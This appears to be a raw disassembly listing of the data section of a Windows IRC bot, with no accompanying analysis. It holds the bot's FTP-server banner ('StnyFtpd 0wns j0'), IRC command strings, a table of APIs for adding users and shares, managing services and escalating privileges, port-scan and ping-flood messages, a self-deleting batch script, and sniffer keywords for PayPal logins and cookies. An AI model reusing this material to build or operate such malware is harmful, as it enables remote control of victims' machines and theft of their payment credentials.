unk_41BF28 db 1Fh ; DATA XREF: sub_4032EE+77o
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_403882:loc_4038C5o
aInvalid db 'Invalid',0 ; DATA XREF: sub_403882:loc_4038BFo
aDisk db 'Disk',0 ; DATA XREF: sub_403882:loc_4038B9o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_403882:loc_4038B3o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_403882:loc_4038ADo
align 4
aRam db 'RAM',0 ; DATA XREF: sub_403882:loc_4038A7o
word_41BF80 dw 3Fh ; DATA XREF: sub_403882+1Fo
; sub_40B807:loc_40B909r
align 4
aFailed db 'failed',0 ; DATA XREF: sub_403913:loc_4039EBo
; sub_403A2E+3Bo
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_403913+6Bo
align 4
unk_41BF94 db 1Fh ; DATA XREF: sub_403A2E+8Eo
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0
align 4
unk_41BFD4 db 1Fh ; DATA XREF: sub_403A2E+58o
db 2, 6Dh, 2
db 1Fh
db 61h, 69h, 6Eh
db 20h
db 2, 0BBh, 2
aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0
align 4
aA_1 db 'A:\',0 ; DATA XREF: sub_403B00:loc_403B45o
dword_41C018 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_403CA3+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41C064 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_403CA3+E3o
; ---------------------------------------------------------------------------
loc_41C080: ; DATA XREF: sub_403CA3+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_41C094 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_403CA3+13Fo
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_403E11+5B1o
aQuit db 'QUIT',0 ; DATA XREF: sub_403E11+59Do
; sub_4077FD+4FAo
align 4
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_403E11+590o
align 10h
unk_41C0F0 db 1Fh ; DATA XREF: sub_403E11+545o
db 5Bh, 1Fh, 2
db 52h ; R
db 2 dup(4Fh), 54h
db 45h ; E
db 44h, 2, 1Fh
db 5Dh ; ]
db 1Fh, 20h, 0BBh
aFtpFinishedSDR db ' ftp finished: %s:%d running %s',0
align 4
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_403E11+526o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_403E11+4FAo
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_403E11+4E2o
align 10h
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_403E11+4D2o
align 10h
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_403E11+4C1o
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_403E11+48Eo
align 4
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_403E11+44Ao
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_403E11+411o
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_403E11+3E3o
align 4
aList db 'LIST',0 ; DATA XREF: sub_403E11+3D0o
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_403E11+395o
align 10h
aPasv db 'PASV',0 ; DATA XREF: sub_403E11+382o
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_403E11+372o
aI: ; DATA XREF: sub_403E11+35Eo
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_403E11+337o
aA: ; DATA XREF: sub_403E11+323o
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_403E11+30Co
; sub_403E11+347o
align 10h
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_403E11+2FCo
align 10h
off_41C280 dd offset dword_445750 ; DATA XREF: sub_403E11+2E8o
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_403E11+2D8o
align 4
aRest db 'REST',0 ; DATA XREF: sub_403E11+2C4o
align 10h
a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_403E11+2B4o
align 10h
aSyst db 'SYST',0 ; DATA XREF: sub_403E11+2A0o
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_403E11+290o
align 10h
aPass db 'PASS',0 ; DATA XREF: sub_403E11+27Co
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_403E11+26Co
align 10h
aUser db 'USER',0 ; DATA XREF: sub_403E11+257o
align 4
aSS db '%s %s',0 ; DATA XREF: sub_403E11+246o
align 10h
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_403E11+1C8o
align 4
aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_404555+58o
aS_0 db '%s',0 ; DATA XREF: sub_404555+3Bo
; sub_406441+19o
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_404555+16o
; sub_4077FD+5D8o
aNotice db 'NOTICE',0 ; DATA XREF: sub_404555+Fo
; sub_4077FD+5E4o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4045F0+B8Co
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4045F0+B7Fo
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4045F0+B72o
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4045F0+B65o
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4045F0+B58o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4045F0+B50o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4045F0:loc_405133o
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4045F0+B0Eo
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4045F0+B06o
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4045F0:loc_4050E9o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4045F0+AB4o
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4045F0+AA7o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4045F0+A9Ao
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4045F0+A92o
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4045F0:loc_405075o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4045F0+A50o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4045F0+A48o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4045F0:loc_40502Bo
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4045F0+A06o
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4045F0+9FEo
align 10h
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4045F0:loc_404FE1o
align 4
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4045F0+974o
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4045F0+967o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4045F0+95Ao
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4045F0+94Do
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4045F0+940o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4045F0+933o
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4045F0+926o
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4045F0+919o
align 10h
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4045F0+90Co
align 10h
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4045F0+8FFo
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4045F0+8F7o
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4045F0:loc_404ED6o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4045F0+8A9o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4045F0+89Co
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4045F0+894o
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4045F0:loc_404E77o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4045F0+85Ao
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4045F0+7E8o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4045F0+7DBo
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4045F0+7CEo
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4045F0+7C1o
align 10h
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4045F0+7B4o
align 10h
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4045F0+7A7o
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4045F0+79Ao
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4045F0+78Do
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4045F0+780o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4045F0+778o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4045F0:loc_404D57o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_4045F0+62Eo
aGetpeername db 'getpeername',0 ; DATA XREF: sub_4045F0+621o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4045F0+614o
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4045F0+607o
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_4045F0+5FAo
aGetsockname db 'getsockname',0 ; DATA XREF: sub_4045F0+5EDo
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4045F0+5E0o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_4045F0+5D3o
align 4
aListen db 'listen',0 ; DATA XREF: sub_4045F0+5C6o
align 4
aSelect db 'select',0 ; DATA XREF: sub_4045F0+5B9o
align 4
aBind db 'bind',0 ; DATA XREF: sub_4045F0+5B1o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4045F0+59Fo
align 4
aRecv db 'recv',0 ; DATA XREF: sub_4045F0+592o
align 10h
aSendto db 'sendto',0 ; DATA XREF: sub_4045F0+585o
align 4
aSend db 'send',0 ; DATA XREF: sub_4045F0+578o
align 10h
aNtohl db 'ntohl',0 ; DATA XREF: sub_4045F0+56Bo
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_4045F0+55Eo
align 10h
aHtonl db 'htonl',0 ; DATA XREF: sub_4045F0+551o
align 4
aHtons db 'htons',0 ; DATA XREF: sub_4045F0+544o
align 10h
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4045F0+537o
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4045F0+52Ao
align 4
aConnect db 'connect',0 ; DATA XREF: sub_4045F0+51Do
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4045F0+510o
aSocket db 'socket',0 ; DATA XREF: sub_4045F0+503o
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4045F0+4F6o
align 10h
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4045F0+4E9o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4045F0+4DCo
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4045F0+4CFo
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4045F0+4C2o
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4045F0+4B5o
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4045F0+4ADo
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4045F0+49Co
align 10h
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4045F0+429o
align 10h
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4045F0+41Co
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_4045F0+40Fo
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4045F0+402o
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4045F0+3F5o
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4045F0+3E8o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4045F0+3DBo
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4045F0+3CEo
align 10h
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4045F0+3C6o
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4045F0:loc_4049A5o
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4045F0:loc_40497Do
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4045F0+335o
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4045F0+328o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4045F0+31Bo
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4045F0+30Eo
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_4045F0+301o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4045F0+2F4o
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4045F0+2E7o
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4045F0:loc_4048CFo
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4045F0+2AFo
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4045F0+2A2o
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4045F0:loc_40488Ao
align 10h
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4045F0+252o
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4045F0+245o
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4045F0+238o
align 10h
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4045F0+22Bo
align 10h
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4045F0+21Eo
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4045F0+216o
align 10h
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4045F0:loc_4047F5o
align 10h
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4045F0+1A0o
align 10h
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4045F0+193o
align 10h
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4045F0+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4045F0+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4045F0+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_4045F0+15Fo
align 10h
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4045F0+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4045F0+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4045F0:loc_404725o
; sub_416004+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4045F0:loc_4046F8o
align 10h
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4045F0+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4045F0+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4045F0+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4045F0+79o
align 10h
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4045F0+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4045F0+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_4045F0+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4045F0+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_4045F0+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4045F0+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4045F0+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4045F0+Ao
align 4
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40530E+72o
align 4
aMirc db 'mIRC',0 ; DATA XREF: sub_4053D3+5o
; sub_4066DA+18o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_405455+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4054F9+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40551B+140o
align 10h
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_40551B+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_40551B+48o
align 10h
dd offset aAdd ; "Add"
dd offset aAdded ; "Added"
dd 0
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_0 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop ; "Stop"
dd offset aStopped ; "Stopped"
dd 1, 41CC94h, 41CC8Ch, 2, 41CC80h, 41CC74h, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause db 'Pause',0
align 4
aStopped db 'Stopped',0 ; DATA XREF: .nsp0:0041CC54o
aStop db 'Stop',0 ; DATA XREF: .nsp0:0041CC50o
align 4
aStarted db 'Started',0 ; DATA XREF: .nsp0:0041CC48o
aStart db 'Start',0 ; DATA XREF: .nsp0:0041CC44o
align 4
aListed db 'Listed',0 ; DATA XREF: .nsp0:0041CC3Co
align 4
aList_0 db 'List',0 ; DATA XREF: .nsp0:0041CC38o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .nsp0:0041CC30o
aDelete_0 db 'Delete',0 ; DATA XREF: .nsp0:0041CC2Co
align 4
aAdded db 'Added',0 ; DATA XREF: .nsp0:0041CC24o
align 4
aAdd db 'Add',0 ; DATA XREF: .nsp0:0041CC20o
aGuest db 'Guest',0 ; DATA XREF: .nsp0:0041E098o
align 10h
aUser_0 db 'User',0 ; DATA XREF: .nsp0:0041E0C8o
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: .nsp0:0041E08Co
align 4
aFlushdnsNotSup db '[FLUSHDNS]: Not supported by this system.',0
; DATA XREF: sub_405811:loc_4058D5o
align 4
aFlushdnsUnable db '[FLUSHDNS]: Unable to allocation ARP cache.',0
; DATA XREF: sub_405811:loc_4058B0o
aFlushdnsArpCac db '[FLUSHDNS]: ARP cache is empty.',0 ; DATA XREF: sub_405811:loc_405866o
aFlushdnsErrorG db '[FLUSHDNS]: Error getting ARP cache: <%d>.',0
; DATA XREF: sub_405811+45o
align 4
aPingFinishedSe db '[PING]: Finished sending pings to %s.',0 ; DATA XREF: sub_405985+13Co
align 4
aPingErrorSendi db '[PING]: Error sending pings to %s.',0 ; DATA XREF: sub_405985+6Eo
align 4
dword_41CDF8 dd 275021Fh, 2070641Fh, 0BB02BB02h ; DATA XREF: sub_405B11+1C7o
aFinishedSendin db ' Finished sending packets to %s.',0
align 4
dword_41CE28 dd 275021Fh, 2070641Fh, 0BB02BB02h ; DATA XREF: sub_405B11+8Eo
aErrorSendingPi db ' Error sending pings to %s.',0
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_405D93+119o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_405D93+4Eo
; sub_405D93+99o
align 10h
unk_41CE70 db 1Fh ; DATA XREF: sub_405F40:loc_405FCDo
db 2, 70h, 2
db 1Fh
db 72h, 6Fh, 63h
db 20h
db 2, 0BBh, 2
aProcessListFai db ' Process list failed.',0
align 4
unk_41CE94 db 1Fh ; DATA XREF: sub_405F40+86o
db 2, 70h, 2
db 1Fh
db 72h, 6Fh, 63h
db 20h
db 2, 0BBh, 2
aProcessListCom db ' Process list completed.',0
align 4
dword_41CEBC dd 270021Fh, 636F721Fh, 2BB0220h, 694C20BBh, 6E697473h
; DATA XREF: sub_405F40+19o
dd 72702067h, 7365636Fh, 3A736573h, 0
dd offset dword_41D758
dd offset off_41D754
dd offset aFtp ; "FTP"
dd offset aHttp ; "HTTP"
dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp db 'HTTP',0 ; DATA XREF: .nsp0:0041CEECo
align 10h
aFtp db 'FTP',0 ; DATA XREF: .nsp0:0041CEE8o
off_41D754 dd offset byte_435249 ; DATA XREF: .nsp0:0041CEE4o
dword_41D758 dd 544F42h, 0 ; DATA XREF: .nsp0:0041CEE0o
unk_41D760 db 1Fh ; DATA XREF: sub_406055+E9o
db 2, 72h, 2
db 1Fh
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 20h
db 2, 0BBh, 2
aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_41D7A8 db 1Fh ; DATA XREF: sub_4061D2+E1o
db 2, 72h, 2
db 1Fh
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 20h
db 2, 0BBh, 2
aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0
align 10h
dword_41D7F0 dd 736E6F63h ; DATA XREF: sub_406777+Fr
dd 74h, 0
dword_41D7FC dd 1 ; DATA XREF: sub_406777:loc_40679Er
off_41D800 dd offset sub_406441 ; DATA XREF: sub_406777+4Ar
aLetter db 'letter',0
align 10h
dd 2, 40649Fh, 706D6F63h, 2 dup(0)
dd 3, 4064ECh, 6E756F63h, 797274h, 0
dd 4, 40655Bh, 736Fh, 2 dup(0)
dd 5, 4065D0h
dword_41D854 dd 69257325h, 0 ; DATA XREF: sub_406441+40o
; .nsp0:0040653Co ...
dword_41D85C dd 4350h ; DATA XREF: .nsp0:00406509o
dword_41D860 dd 7C7325h ; DATA XREF: .nsp0:0040658Ao
dword_41D864 dd 5D73255Bh, 7Ch ; DATA XREF: .nsp0:00406694o
dword_41D86C dd 3F3F3Fh ; DATA XREF: .nsp0:loc_40668Bo
; sub_40B807:loc_40B8CAo
dword_41D870 dd 334B32h ; DATA XREF: .nsp0:00406684o
dword_41D874 dd 5058h ; DATA XREF: .nsp0:00406676o
; sub_40B807+AAo
dword_41D878 dd 4B32h ; DATA XREF: .nsp0:00406666o
; sub_40B807+98o
dword_41D87C dd 454Dh ; DATA XREF: .nsp0:0040664Do
; sub_40B807+7Eo
dword_41D880 dd 3839h ; DATA XREF: .nsp0:0040663Do
; sub_40B807+6Co
dword_41D884 dd 544Eh ; DATA XREF: .nsp0:0040662Do
; sub_40B807+5Ao
dword_41D888 dd 3539h ; DATA XREF: .nsp0:0040661Fo
; sub_40B807+46o
dword_41D88C dd 5D64255Bh, 7325h ; DATA XREF: sub_4066DA+3Ao
dword_41D894 dd 5D4D5Bh ; DATA XREF: sub_4066DA+2Co
; sub_4066DA+51o
unk_41D898 db 1Fh ; DATA XREF: sub_4067E1+92o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
db 20h
db 2, 0BBh, 2
aIpSPortDIsOpen db ' IP: %s Port: %d is open.',0
align 10h
unk_41D8C0 db 1Fh ; DATA XREF: sub_4068AE+41o
db 2, 73h, 2
db 1Fh
db 63h, 61h, 6Eh
